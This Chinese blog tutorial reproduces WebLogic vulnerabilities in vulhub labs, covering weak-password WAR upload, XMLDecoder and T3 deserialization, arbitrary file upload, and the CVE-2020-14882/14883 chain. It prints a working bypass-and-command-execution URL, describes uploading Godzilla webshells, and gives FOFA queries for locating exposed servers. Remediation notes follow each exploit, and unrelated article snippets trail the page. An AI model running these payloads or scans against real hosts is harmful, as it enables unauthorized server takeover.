当前位置: 首页 > news >正文

常见中间件漏洞复现之【WebLogic】!

Weblogic介绍

                 WebLogic是美国Oracle公司出品的⼀个application server,确切的说是⼀个基于JAVAEE架构的中间件,默认端⼝:7001 WebLogic是⽤于开发、集成、部署和管理⼤型分布式Web应⽤、⽹络应⽤和数据库应⽤的Java应⽤服务器。将Java的动态功能和Java Enterprise标准的安全性引⼊⼤型⽹络应⽤的开发、集成、部署和管理之中。
----------------------

后台弱口令GetShell

   漏洞描述

         通过弱口令进⼊后台界⾯ , 上传部署war包 , getshell
--------------------

影响范围

       全版本(前提后台存在弱口令)
--------------------

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d
--------------------

漏洞复现

默认账号密码:weblogic/Oracle@123
weblogic常用弱口令:https://cirt.net/passwords?criteria=weblogic
这里注意, 单个账号错误密码5次之后就会⾃动锁定。
--------------------
搭建环境进入,在url后加/console可以进入登录页面

输入默认密码并登录

登录后台后,点击部署,点击安装,点击上传文件。 

上传war包,jsp木马压缩成zip,修改后缀为war,上传  

访问并连接部署好的war  

------------------------------------

CVE-2017-3506

           XMLDecoder反序列化漏洞

漏洞描述

             Weblogic的WLS Security组件对外提供了webserver服务,其中使用了XMLDecoder来解析用户输入的XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执行。
-------------------------

影响版本

           受影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。
------------------------

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d
------------------------

漏洞复现

访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在

在当前页面抓包之后,添加下面请求包,反弹shell。

访问得到输入的东西

软件注入 :Java反序列化漏洞利用工具

         打开Java反序列化漏洞利用工具软件,将要测试的网址复制进去,点击检查

存在漏洞点击命令执行 输入whoami点击执行

点击文件上传--将自己的jsp木马输入进去 点击上传 

下方会出现木马注入的地址 访问此地址,访问成功证明注入成功

打开哥斯拉进行连接测试,测试成功! 

----------------------

漏洞修复

更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进⾏访问控制 ,或者根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_interna l/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/w ls
wsat.warMiddleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wlsw sat/ 是否为404页面。
----------------------------------------

CVE-2019-2725    

漏洞描述

          wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输⼊信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执⾏命令。
-----------------------

影响版本

weblogic 10.x weblogic 12.1.3
-----------------------

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d

-----------------------

漏洞复现

      搭建环境,启动在url后加/_async/AsyncResponseService,显示以下页面,则说明存在漏洞

进行抓包,修改请求包 , 写⼊shell 

访问植入的木马文件

使用哥斯拉连接成功 

漏洞修复 

1. 禁⽤bea_wls9_async_response组件;
2. 删除wls9_async_response的war包并重启 ;
3. 禁⽌访问 /_async/* 路径。

 

------------------------------------

CVE-2018-2628

        WebLogic T3协议反序列化命令执⾏漏洞(CVE-2018- 2628)

  漏洞描述

Weblogic Server中的RMI 通信使⽤T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应⽤程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开 启, 攻击者可以通过T3协议发送恶意的的反序列化数据, 进⾏反序列化, 实现对存在漏洞的weblogic组件 的远程代码执行攻击。
----------------------------

漏洞影响

Oracle WebLogic Server10.3.6.0.0 Oracle WebLogic Server12.1.3.0.0 Oracle WebLogic
Server12.2.1.2.0 Oracle WebLogic Server12.2.1.3.0
----------------------------

环境搭建

cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d
----------------------------

漏洞复现

      搭建环境并打开

直接使用利用工具(Liqun工具箱)  

点击文件上传上传jsp木马 

访问木马路径,访问成功证明植入成功 

使用哥斯拉测试连接,连接成功 

-------------------------

漏洞修复

1. 及时更新补丁 ;
2. 禁⽤T3协议 ;
3. 禁⽌T3端⼝对外开放,或者限制可访问T3端⼝的IP来源。
4. 升级版本

--------------------------------------

CVE-2018-2894

          WebLogic文件任意上传漏洞

漏洞描述

            Weblogic Web Service Test Page中⼀处任意⽂件上传漏洞,Web Service Test Page 在 "⽣产模式" 下默认不开启,所以该漏洞有⼀定限制。
------------------

漏洞版本

weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3
------------------

环境搭建

cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
这里环境后台密码是随机得,获取密码: docker-compose logs | grep password
------------------

漏洞复现

设置Web服务测试开启
http://1.15.136.212:7001

登录获取的账号密码

 进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录

        

            将此代码 替换掉工作目录/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.w ebservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击安全---添加 

添加完成后f12查找元素找到对应时间戳 

Webshell链接
http://192.168.1.159:7001/ws_utc/css/config/keystore/1688302924206_peak.jsp
时间戳_文件名.jsp ------- 使用哥斯拉连接

 

 -------------------------------------

 CVE-2020-14882

                WebLogic远程代码执行漏洞

漏洞描述

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证。
CVE-2020-14883 允许经过身份验证的⽤户在管理员控制台组件上执⾏任何命令。
使⽤这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执⾏任意命令并完全控制主机
-----------------------------

影响版本

Oracle Weblogic Server 10.3.6.0
Oracle Weblogic Server 12.1.3.0
Oracle Weblogic Server 12.2.1.3
Oracle Weblogic Server 12.2.1.4
Oracle Weblogic Server 14.1.1.0
---------------------------

环境搭建

cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
---------------------------

漏洞复现

1.访问管理控制台
http://1.15.136.212:7001/console/login/LoginForm.jsp
2.使用以下url绕过登录认证
http://1.15.136.212:7001/console/css/%252e%252e%252fconsole.portal

 

此时达到未授权得效果。还未能GetShell。可以利⽤第⼆个漏洞(CVE-2020-14883),远程加载XML⽂件拿到Shell
⾸先访问以下 URL ,以连接 2 个漏洞并执⾏以下命令
http://1.15.136.212:7001/console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti
me.getRuntime().exec('touch%20/tmp/success');")
我们进入到docker中可以看到命令已经成功运行了

 这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class

-------------------

在攻击机中执行命令(脚本利用)

--------------------

漏洞修复

          该漏洞利用的缺点是,它要求 Weblogic 服务器能够访问恶意 XML。
--------------------

实战挖掘

如何判断Weblogic
1. 7001
2.浏览器插件
3.报错页面 Error 404--Not Found
4.默认管理页面路由
/console/login/LoginForm.jsp
---------------------
FOFA
"weblogic"
app=
"Oracle-WebLogic-Server-管理控制台"
app=
"BEA-WebLogic-Server" || app=
"Weblogic_interface_7001"
推荐 :
"WebLogic" && port="7001" && country="CN" && title=="Error 404--Not Found"

相关文章:

常见中间件漏洞复现之【WebLogic】!

Weblogic介绍 WebLogic是美国Oracle公司出品的⼀个application server,确切的说是⼀个基于JAVAEE架构的中间件,默认端⼝:7001 WebLogic是⽤于开发、集成、部署和管理⼤型分布式Web应⽤、⽹络应⽤和数据库应⽤的Java应⽤服务器。将Java的动态…...

Linux服务器中限制远程IP登录的深入指南

在当今的数字化时代,Linux服务器的安全性是企业和个人用户不可忽视的重要方面。远程登录,尤其是通过SSH(Secure Shell)协议,是服务器管理中最常见的操作之一。然而,不限制远程登录的IP地址可能会暴露服务器…...

卫星通信中的拥塞控制算法

结论:现有的Cubic和BBR2算法可直接用于卫星通信网络的拥塞控制中,专为卫星设置的拥塞控制算法目前没有集成到系统中,但各自的性能表现需要根据实测情况进行取舍。 TCP Hybla...

全网​​​​​​​​超详细haproxy七层代理

一:负载均衡 1、概念 负载均衡: Load Balance ,简称 LB ,是一种服务或基于硬件设备等实现的高可用反向代理技术, 负载均 衡将特定的业务(web 服务、网络流量等 ) 分担给指定的一个或多个后端特定的服务器或设 备&…...

Docker日志文件全局配置

这段配置是Docker容器的日志驱动配置,具体来说是json-file日志驱动的配置。这个配置的作用是定义容器日志文件的大小和数量限制。 {"log-driver": "json-file","log-opts": {"max-size": "500m","max-file…...

bia文件中码偏差对实时PPP解算分析

1. 码偏差对定位影响 码偏差对未知收敛时间有影响,对最终精度影响不大(权比1000:1)...

探索list与iterator的区别及yield的用法

1 问题 探索list与iterator的区别探索yield的用法 2 方法 通过网上学习后了解到 List返回的类型是list,list只会查询一级缓存。list()中返回的List中每个对象都是原本的对象。查询的时候没遍历一个对象会产生一条sql;而iterator这个迭代器返回的类型是it…...

github技巧和bug解决方法短篇收集

有一些几句话就可以说明白的观点或者解决的的问题,小虎单独收集到这里。 Commits没有算入每天的activity fork的仓库是不算的。 Commits made in a fork will not count toward your contributions. 参考: Contribution activity not shown for github…...

学习笔记五:在k8s中安装EFK组件(elasticsearch+fluentd+kibana)

在k8s 1.3安装EFK组件 前置条件上传压缩包安装nfs供应商创建nfs作为存储的供应商通过deployment创建pod用来运行nfs-provisioner 安装elasticsearch组件安装kibana组件安装fluentd组件 前置条件 查看k8s版本 kubectl get node -owide相关安装包 链接:https://pan.ba…...

Golang编译-如何忽略某些文件去编译

在 Go 语言中,编译好的二进制文件不会被再次加入到编译过程中。Go 编译器只会编译源代码文件(如 .go 文件),而不会将已经编译好的二进制文件(如可执行文件或静态库)作为输入来进行编译。 详细解释&#xf…...

有哪些适合中型企业的人力资源管理系统推荐?

本文主要介绍了以下几款人力资源管理系统:Moka、OrangeHRM、Verint、希沃人事、UKG Pro、大易Dayee、DingTalk、致远OA、卓望ShineHR、GoCo。 在选择人力资源管理系统时,中型企业面临着诸多挑战:如何确保系统既能满足现有需求,又能…...

活动回顾|首次 Cloudberry Database Meetup · 北京站成功举办

8 月 3 日,由酷克数据 HashData 主办的 Cloudberry Database Meetup 北京站活动圆满结束。本次 Meetup 以“以开源应对 Greenplum 闭源,原厂开发者再聚首”为主题,深入探讨了 Greenplum 闭源所带来的影响,并聚焦于 Cloudberry Dat…...

C语言 软件设计的七大原则,及其应用案例

1. 单一职责原则 (Single Responsibility Principle, SRP) 定义: 一个模块或函数应当只有一个引起变化的原因。 应用案例: 在嵌入式系统中,可以将传感器数据的读取和处理分开成不同的函数。例如: // 读取传感器数据的函数 floa…...

初学嵌入式-C语言常犯错误详解

1、对于下面这道题,估计有很多人会选择B答案,但其实答案是D 2.int a10, b9,c9,d; d b || (a>c),请问上述代码执行完毕后a b c d的值分别是 。 A、10 9 10 9 B、10 10 10 1 C、10 9 10 1 D、10 10 9 1 答案解释: 在C语言…...

Golang 语法入门

Golang 语法入门 Hello World package mainimport "fmt"func main() {fmt.Println("hello world") }变量 package mainimport "fmt"// 全局变量 var ans 123 var cnt intfunc main() {// 单个局部变量a : 114514// 多个局部变量b, c : 114, …...

Filebeat+Kafka+ELK

架构: 部署: #配置nginx,部署filebeat systemctl stop firewalld setenforce 0 systemctl restart nginx#解压filebeat tar -xf filebeat-6.7.2-linux-x86_64.tar.gz mv filebeat-6.7.2-linux-x86_64 filebeat#日志收集 cd firebeat vim fil…...

Python 为Excel单元格设置填充\背景色 (纯色、渐变、图案)

在使用Excel进行数据处理和分析时,对特定单元格进行背景颜色填充不仅能够提升工作表的视觉吸引力,还能帮助用户快速识别和区分不同类别的数据,增强数据的可读性和理解性。 本文将通过以下三个示例详细介绍如何使用Python在Excel中设置不同的单…...

家里浮毛粉尘到处飞?宠物空气净化器出动帮你解决

由于家里收养的十几只流浪猫咪夏季掉毛非常严重,整个房子弥漫着猫毛,而且这十几只里面有七八只还是长毛的品种,掉落的毛发都因为太长而直接掉落成毛团,而短毛的那几只也在掉毛,这十几只掉下的浮毛,家里已经…...

计算机网络ISO七层网络模型及TCP

思维导图(通俗理解) 首先,先用最通俗的话来描述ISO七层模型,思维导图结构如下: ISO七层网络模型概念 应用层(Application Layer):应用层是OSI模型的最高层,直接与用户交…...

机器学习知识点全面总结

一、机器学习基础概念 1、什么是机器学习 机器学习是一种人工智能技术,通过对数据的学习和分析,让计算机系统自动提高其性能。简而言之,机器学习是一种从数据中学习规律和模式的方法,通过数据来预测、分类或者决策。 机器学习的本…...

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…...

零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?

一、核心优势:专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发,是一款收费低廉但功能全面的Windows NAS工具,主打“无学习成本部署” 。与其他NAS软件相比,其优势在于: 无需硬件改造:将任意W…...

css实现圆环展示百分比,根据值动态展示所占比例

代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...

Leetcode 3576. Transform Array to All Equal Elements

Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接&#xff1a;3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到&#xf…...

PHP和Node.js哪个更爽?

先说结论&#xff0c;rust完胜。 php&#xff1a;laravel&#xff0c;swoole&#xff0c;webman&#xff0c;最开始在苏宁的时候写了几年php&#xff0c;当时觉得php真的是世界上最好的语言&#xff0c;因为当初活在舒适圈里&#xff0c;不愿意跳出来&#xff0c;就好比当初活在…...

Oracle查询表空间大小

1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)

CSI-2 协议详细解析 (一&#xff09; 1. CSI-2层定义&#xff08;CSI-2 Layer Definitions&#xff09; 分层结构 &#xff1a;CSI-2协议分为6层&#xff1a; 物理层&#xff08;PHY Layer&#xff09; &#xff1a; 定义电气特性、时钟机制和传输介质&#xff08;导线&#…...

Leetcode 3577. Count the Number of Computer Unlocking Permutations

Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接&#xff1a;3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯&#xff0c;要想要能够将所有的电脑解锁&#x…...

大语言模型如何处理长文本?常用文本分割技术详解

为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...

在四层代理中还原真实客户端ngx_stream_realip_module

一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡&#xff08;如 HAProxy、AWS NLB、阿里 SLB&#xff09;发起上游连接时&#xff0c;将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后&#xff0c;ngx_stream_realip_module 从中提取原始信息…...